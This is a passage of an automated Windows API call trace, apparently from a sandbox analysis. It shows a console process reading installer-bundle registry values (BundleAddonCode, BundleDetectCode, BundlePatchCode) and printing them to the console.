[0149.493] lstrlenW (lpString="{0B65F2F3-A845-36BB-848A-5D939826EBE4}") returned 38 [0149.494] __iob_func () returned 0x7fefd702a80 [0149.494] _fileno (_File=0x7fefd702ab0) returned 1 [0149.494] _errno () returned 0x204bb0 [0149.494] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.494] _errno () returned 0x204bb0 [0149.494] GetFileType (hFile=0x50) returned 0x1 [0149.494] lstrlenW (lpString="\n") returned 1 [0149.494] GetConsoleOutputCP () returned 0x1b5 [0149.494] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.494] GetConsoleOutputCP () returned 0x1b5 [0149.494] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.494] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.494] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.494] GetProcessHeap () returned 0x3c0000 [0149.494] GetProcessHeap () returned 0x3c0000 [0149.494] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.494] GetProcessHeap () returned 0x3c0000 [0149.494] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0149.494] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.494] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleAddonCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.494] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.494] GetProcessHeap () returned 0x3c0000 [0149.494] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.494] GetProcessHeap () returned 0x3c0000 [0149.494] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.494] GetProcessHeap () returned 0x3c0000 [0149.494] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.494] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0149.495] __iob_func () returned 0x7fefd702a80 [0149.495] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.495] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.495] _fileno (_File=0x7fefd702ab0) returned 1 [0149.495] _errno () returned 0x204bb0 [0149.495] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.495] _errno () returned 0x204bb0 [0149.495] GetFileType (hFile=0x50) returned 0x1 [0149.495] lstrlenW (lpString=" ") returned 4 [0149.495] GetConsoleOutputCP () returned 0x1b5 [0149.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.495] GetConsoleOutputCP () returned 0x1b5 [0149.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.495] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.495] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.495] lstrlenW (lpString="BundleAddonCode") returned 15 [0149.495] __iob_func () returned 0x7fefd702a80 [0149.495] _fileno (_File=0x7fefd702ab0) returned 1 [0149.495] _errno () returned 0x204bb0 [0149.495] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.495] _errno () returned 0x204bb0 [0149.495] GetFileType (hFile=0x50) returned 0x1 [0149.495] lstrlenW (lpString="BundleAddonCode") returned 15 [0149.495] GetConsoleOutputCP () returned 0x1b5 [0149.495] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.496] GetConsoleOutputCP () returned 0x1b5 [0149.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleAddonCode", lpUsedDefaultChar=0x0) returned 15 [0149.496] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.496] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.496] __iob_func () returned 0x7fefd702a80 [0149.496] _fileno (_File=0x7fefd702ab0) returned 1 [0149.496] _errno () returned 0x204bb0 [0149.496] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.496] _errno () returned 0x204bb0 [0149.496] GetFileType (hFile=0x50) returned 0x1 [0149.496] lstrlenW (lpString=" ") returned 4 [0149.496] GetConsoleOutputCP () returned 0x1b5 [0149.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.496] GetConsoleOutputCP () returned 0x1b5 [0149.496] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.496] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.496] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.496] __iob_func () returned 0x7fefd702a80 [0149.496] _fileno (_File=0x7fefd702ab0) returned 1 [0149.496] _errno () returned 0x204bb0 [0149.496] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.496] _errno () returned 0x204bb0 [0149.496] GetFileType (hFile=0x50) returned 0x1 [0149.496] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0149.496] GetConsoleOutputCP () returned 0x1b5 [0149.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.497] GetConsoleOutputCP () returned 0x1b5 [0149.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0149.497] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.497] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.497] __iob_func () returned 0x7fefd702a80 [0149.497] _fileno (_File=0x7fefd702ab0) returned 1 [0149.497] _errno () returned 0x204bb0 [0149.497] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.497] _errno () returned 0x204bb0 [0149.497] GetFileType (hFile=0x50) returned 0x1 [0149.497] lstrlenW (lpString=" ") returned 4 [0149.497] GetConsoleOutputCP () returned 0x1b5 [0149.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.497] GetConsoleOutputCP () returned 0x1b5 [0149.497] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.497] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.497] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.497] __iob_func () returned 0x7fefd702a80 [0149.498] _fileno (_File=0x7fefd702ab0) returned 1 [0149.498] _errno () returned 0x204bb0 [0149.498] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.498] _errno () returned 0x204bb0 [0149.498] GetFileType (hFile=0x50) returned 0x1 [0149.498] lstrlenW (lpString="\n") returned 1 [0149.498] GetConsoleOutputCP () returned 0x1b5 [0149.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.498] GetConsoleOutputCP () returned 0x1b5 [0149.498] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.498] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.498] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.498] GetProcessHeap () returned 0x3c0000 [0149.498] GetProcessHeap () returned 0x3c0000 [0149.498] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.498] GetProcessHeap () returned 0x3c0000 [0149.498] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.498] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.498] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleDetectCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.498] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.498] GetProcessHeap () returned 0x3c0000 [0149.498] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.498] GetProcessHeap () returned 0x3c0000 [0149.498] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.498] GetProcessHeap () returned 0x3c0000 [0149.498] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.498] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0149.499] __iob_func () returned 0x7fefd702a80 [0149.499] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.499] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.499] _fileno (_File=0x7fefd702ab0) returned 1 [0149.499] _errno () returned 0x204bb0 [0149.499] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.499] _errno () returned 0x204bb0 [0149.499] GetFileType (hFile=0x50) returned 0x1 [0149.499] lstrlenW (lpString=" ") returned 4 [0149.499] GetConsoleOutputCP () returned 0x1b5 [0149.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.499] GetConsoleOutputCP () returned 0x1b5 [0149.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.499] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.499] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.499] lstrlenW (lpString="BundleDetectCode") returned 16 [0149.499] __iob_func () returned 0x7fefd702a80 [0149.499] _fileno (_File=0x7fefd702ab0) returned 1 [0149.499] _errno () returned 0x204bb0 [0149.499] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.499] _errno () returned 0x204bb0 [0149.499] GetFileType (hFile=0x50) returned 0x1 [0149.499] lstrlenW (lpString="BundleDetectCode") returned 16 [0149.499] GetConsoleOutputCP () returned 0x1b5 [0149.499] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0149.499] GetConsoleOutputCP () returned 0x1b5 [0149.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleDetectCode", lpUsedDefaultChar=0x0) returned 16 [0149.500] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0149.500] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.500] __iob_func () returned 0x7fefd702a80 [0149.500] _fileno (_File=0x7fefd702ab0) returned 1 [0149.500] _errno () returned 0x204bb0 [0149.500] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.500] _errno () returned 0x204bb0 [0149.500] GetFileType (hFile=0x50) returned 0x1 [0149.500] lstrlenW (lpString=" ") returned 4 [0149.500] GetConsoleOutputCP () returned 0x1b5 [0149.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.500] GetConsoleOutputCP () returned 0x1b5 [0149.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.500] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.500] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.500] __iob_func () returned 0x7fefd702a80 [0149.500] _fileno (_File=0x7fefd702ab0) returned 1 [0149.500] _errno () returned 0x204bb0 [0149.500] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.500] _errno () returned 0x204bb0 [0149.500] GetFileType (hFile=0x50) returned 0x1 [0149.500] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0149.500] GetConsoleOutputCP () returned 0x1b5 [0149.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.501] GetConsoleOutputCP () returned 0x1b5 [0149.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0149.501] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.501] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.501] __iob_func () returned 0x7fefd702a80 [0149.501] _fileno (_File=0x7fefd702ab0) returned 1 [0149.501] _errno () returned 0x204bb0 [0149.501] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.501] _errno () returned 0x204bb0 [0149.501] GetFileType (hFile=0x50) returned 0x1 [0149.501] lstrlenW (lpString=" ") returned 4 [0149.501] GetConsoleOutputCP () returned 0x1b5 [0149.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.501] GetConsoleOutputCP () returned 0x1b5 [0149.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.501] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.501] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.501] __iob_func () returned 0x7fefd702a80 [0149.501] _fileno (_File=0x7fefd702ab0) returned 1 [0149.502] _errno () returned 0x204bb0 [0149.502] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.502] _errno () returned 0x204bb0 [0149.502] GetFileType (hFile=0x50) returned 0x1 [0149.502] lstrlenW (lpString="\n") returned 1 [0149.502] GetConsoleOutputCP () returned 0x1b5 [0149.502] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.502] GetConsoleOutputCP () returned 0x1b5 [0149.502] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.502] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.502] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.503] GetProcessHeap () returned 0x3c0000 [0149.503] GetProcessHeap () returned 0x3c0000 [0149.503] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.503] GetProcessHeap () returned 0x3c0000 [0149.503] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.503] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.503] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundlePatchCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.503] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.503] GetProcessHeap () returned 0x3c0000 [0149.503] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.503] GetProcessHeap () returned 0x3c0000 [0149.503] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.503] GetProcessHeap () returned 0x3c0000 [0149.503] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.503] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0149.503] __iob_func () returned 0x7fefd702a80 [0149.503] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.503] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.503] _fileno (_File=0x7fefd702ab0) returned 1 [0149.504] _errno () returned 0x204bb0 [0149.504] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.504] _errno () returned 0x204bb0 [0149.504] GetFileType (hFile=0x50) returned 0x1 [0149.504] lstrlenW (lpString=" ") returned 4 [0149.504] GetConsoleOutputCP () returned 0x1b5 [0149.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.504] GetConsoleOutputCP () returned 0x1b5 [0149.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.504] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.504] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.504] lstrlenW (lpString="BundlePatchCode") returned 15 [0149.504] __iob_func () returned 0x7fefd702a80 [0149.504] _fileno (_File=0x7fefd702ab0) returned 1 [0149.504] _errno () returned 0x204bb0 [0149.504] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.504] _errno () returned 0x204bb0 [0149.504] GetFileType (hFile=0x50) returned 0x1 [0149.504] lstrlenW (lpString="BundlePatchCode") returned 15 [0149.504] GetConsoleOutputCP () returned 0x1b5 [0149.504] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.504] GetConsoleOutputCP () returned 0x1b5 [0149.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundlePatchCode", lpUsedDefaultChar=0x0) returned 15 [0149.505] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.505] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.505] __iob_func () returned 0x7fefd702a80 [0149.505] _fileno (_File=0x7fefd702ab0) returned 1 [0149.505] _errno () returned 0x204bb0 [0149.505] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.505] _errno () returned 0x204bb0 [0149.505] GetFileType (hFile=0x50) returned 0x1 [0149.505] lstrlenW (lpString=" ") returned 4 [0149.505] GetConsoleOutputCP () returned 0x1b5 [0149.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.505] GetConsoleOutputCP () returned 0x1b5 [0149.505] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.505] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.505] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.505] __iob_func () returned 0x7fefd702a80 [0149.505] _fileno (_File=0x7fefd702ab0) returned 1 [0149.505] _errno () returned 0x204bb0 [0149.505] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.505] _errno () returned 0x204bb0 [0149.505] GetFileType (hFile=0x50) returned 0x1 [0149.505] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0149.505] GetConsoleOutputCP () returned 0x1b5 [0149.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.506] GetConsoleOutputCP () returned 0x1b5 [0149.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0149.506] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.506] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.506] __iob_func () returned 0x7fefd702a80 [0149.506] _fileno (_File=0x7fefd702ab0) returned 1 [0149.506] _errno () returned 0x204bb0 [0149.506] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.506] _errno () returned 0x204bb0 [0149.506] GetFileType (hFile=0x50) returned 0x1 [0149.506] lstrlenW (lpString=" ") returned 4 [0149.506] GetConsoleOutputCP () returned 0x1b5 [0149.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.506] GetConsoleOutputCP () returned 0x1b5 [0149.506] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, 